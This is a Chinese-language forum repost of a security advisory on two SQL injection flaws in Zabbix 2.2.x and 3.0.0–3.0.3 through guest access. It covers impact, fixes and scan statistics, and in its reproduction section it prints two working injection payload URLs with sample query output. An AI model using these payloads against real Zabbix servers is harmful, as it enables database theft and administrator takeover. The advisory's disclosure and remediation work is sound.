本帖最后由 monicazhang 于 2017-9-4 09:01 编辑
zabbix是提供分布式系统监视以及网络监视功能的企业级的开源解决方案,昨日被爆出存在漏洞。白帽汇安全团队第一时间反应,经测试分析,该漏洞(2个利用方式)在开启Guest账号的情况下,可能导致数据泄漏,服务器被控制。目前全球约有10%的服务器受影响,建议及时修补。漏洞概述zabbix(音同 zæbix)是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。其官方网站为[ ]h [/url]近日,zabbix系统被发现存在两个高危漏洞,该漏洞通过一个已通过验证用户即可发动攻击,包括guest帐户(zabbix默认系统下guest帐户密码为空)。攻击者在该状态下可以完全获取数据库中信息,同时可以获取管理员身份,甚至可能控制多台服务器权限。其中涉及漏洞的文件有两个:jsrpc.php和latest.php,存在漏洞的参数分别为profileIdx2和toggle_ids。漏洞危害如果存在此类漏洞,攻击者将有可能进行如下攻击:
1、该漏洞可以导致泄漏重要的敏感信息;2、通过该漏洞可以被植入webshell等恶意代码;3、攻击者可通过直接获取admin的session,并利用获取的session可以被授权管理员身份登录。
漏洞影响此次漏洞影响范围较大,经过检测显示,目前有大量的站点存在该问题,需使用该系统的厂商及时进行了修复。此漏洞属高危程序危害,在开启Guest的情况下或者无用户的情况下不需要登录即完成注入(默认开启Guest;未开启Guest和有用户的情况下则需要登录方可注入。其漏洞影响的版本为:2.2.x,3.0.0-3.0.3(其他版本尚未测试)漏洞复现
第一处漏洞:payload如下:jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(SELECT1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT 0x7e776562746573747e))afrom information_schema.tables group bya)b)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
效果如下:
第二处漏洞
payload如下:latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385);select * from users where (1=1效果如下:SQL (0.000361):INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES(88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)latest.php:746 →require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in/home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185
白帽汇Nosec和安徒生已经支持检测 漏洞代码分析我们可以找到漏洞文件jsrpc.php,为了方便阅读,去掉了跟本次漏洞无关的代码:/zabbix-3.0.3/frontends/php/jsrpc.php
最后漏洞发生的部分存在于page_footer.php文件中,其中发现调用CProfile类的flush方法如下:
跟进flush方法:
发现执行insert语句造成注入漏洞(此处部分引用自Braid’s blog)。漏洞修复方法一:升级补丁,补丁文件地址:[ /browse/ZBX-11023]browse/ZBX-11023[/url];方法二:升级版本,根据系统版本下载相对应的版本即可,最新版本为3.0.4版本。下载地址:[ /download.php]download.php[/url]。方法三:禁用Guest用户,禁用Guest步骤:点击“Administration”-->Users选项,选择guest用户,点击status的”Enabled",即完成 Guest用户被禁用操作。方法四:源代码修复:对CProfile类的flush方法中注入参数做强制 转换即可。
影响范围白帽汇安全团队针对Zabbix进行全网扫描发现:目前,全球对外开放的Zabbix共计4680个,其中722个开启Guest并且可以被成功利用,漏洞直接影响全球约10%的Zabbix。
国内分布图:
全球分布图:
参考来源[ /fulldisclosure/2016/Aug/82]fulldisclosure/2016/Aug/82[/url]
[ /exploits/40237]exploits/40237[/url] 2016/08/18/zabbix303/ fulldisclosure/2016/Aug/82 原创:白帽汇
|